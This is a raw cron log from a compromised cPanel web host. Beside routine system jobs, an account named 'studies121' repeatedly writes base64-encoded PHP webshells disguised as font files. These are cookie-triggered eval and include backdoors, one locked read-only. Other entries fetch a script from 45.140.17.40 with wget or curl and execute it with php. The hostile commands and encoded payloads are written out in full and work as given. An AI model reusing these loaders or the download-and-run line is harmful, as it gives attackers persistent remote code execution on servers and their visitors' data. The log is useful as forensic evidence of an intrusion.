Sep  6 10:13:01 ip-184-168-122-23 CROND[22014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:14:01 ip-184-168-122-23 CROND[22103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:14:01 ip-184-168-122-23 CROND[22107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:14:01 ip-184-168-122-23 CROND[22105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:14:01 ip-184-168-122-23 CROND[22106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:14:01 ip-184-168-122-23 CROND[22109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:15:01 ip-184-168-122-23 CROND[22218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:15:01 ip-184-168-122-23 CROND[22222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:15:01 ip-184-168-122-23 CROND[22223]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:15:01 ip-184-168-122-23 CROND[22224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:15:01 ip-184-168-122-23 CROND[22219]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 10:15:01 ip-184-168-122-23 CROND[22220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:15:01 ip-184-168-122-23 CROND[22217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:16:01 ip-184-168-122-23 CROND[22330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:16:01 ip-184-168-122-23 CROND[22332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:16:01 ip-184-168-122-23 CROND[22333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:16:01 ip-184-168-122-23 CROND[22335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:16:01 ip-184-168-122-23 CROND[22336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:16:01 ip-184-168-122-23 CROND[22337]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 10:17:01 ip-184-168-122-23 CROND[22525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:17:01 ip-184-168-122-23 CROND[22527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:17:01 ip-184-168-122-23 CROND[22526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:17:01 ip-184-168-122-23 CROND[22528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:18:01 ip-184-168-122-23 CROND[22611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:18:01 ip-184-168-122-23 CROND[22613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:18:01 ip-184-168-122-23 CROND[22615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:18:01 ip-184-168-122-23 CROND[22614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:18:01 ip-184-168-122-23 CROND[22616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:19:01 ip-184-168-122-23 CROND[22752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:19:01 ip-184-168-122-23 CROND[22751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:19:01 ip-184-168-122-23 CROND[22753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:19:01 ip-184-168-122-23 CROND[22754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:20:02 ip-184-168-122-23 CROND[22867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:20:02 ip-184-168-122-23 CROND[22869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:20:02 ip-184-168-122-23 CROND[22873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:20:02 ip-184-168-122-23 CROND[22872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:20:02 ip-184-168-122-23 CROND[22875]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 10:20:02 ip-184-168-122-23 CROND[22876]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:20:02 ip-184-168-122-23 CROND[22874]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 10:20:02 ip-184-168-122-23 CROND[22878]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:20:02 ip-184-168-122-23 CROND[22877]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:21:01 ip-184-168-122-23 CROND[23079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:21:01 ip-184-168-122-23 CROND[23081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:21:01 ip-184-168-122-23 CROND[23083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:21:01 ip-184-168-122-23 CROND[23082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:22:01 ip-184-168-122-23 CROND[23175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:22:01 ip-184-168-122-23 CROND[23177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:22:01 ip-184-168-122-23 CROND[23179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:22:01 ip-184-168-122-23 CROND[23180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:22:01 ip-184-168-122-23 CROND[23178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:23:01 ip-184-168-122-23 CROND[23313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:23:01 ip-184-168-122-23 CROND[23317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:23:01 ip-184-168-122-23 CROND[23314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:23:01 ip-184-168-122-23 CROND[23315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:24:01 ip-184-168-122-23 CROND[23427]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:24:01 ip-184-168-122-23 CROND[23429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:24:01 ip-184-168-122-23 CROND[23430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:24:01 ip-184-168-122-23 CROND[23431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:24:01 ip-184-168-122-23 CROND[23432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:25:01 ip-184-168-122-23 CROND[23560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:25:01 ip-184-168-122-23 CROND[23559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:25:01 ip-184-168-122-23 CROND[23564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:25:01 ip-184-168-122-23 CROND[23566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
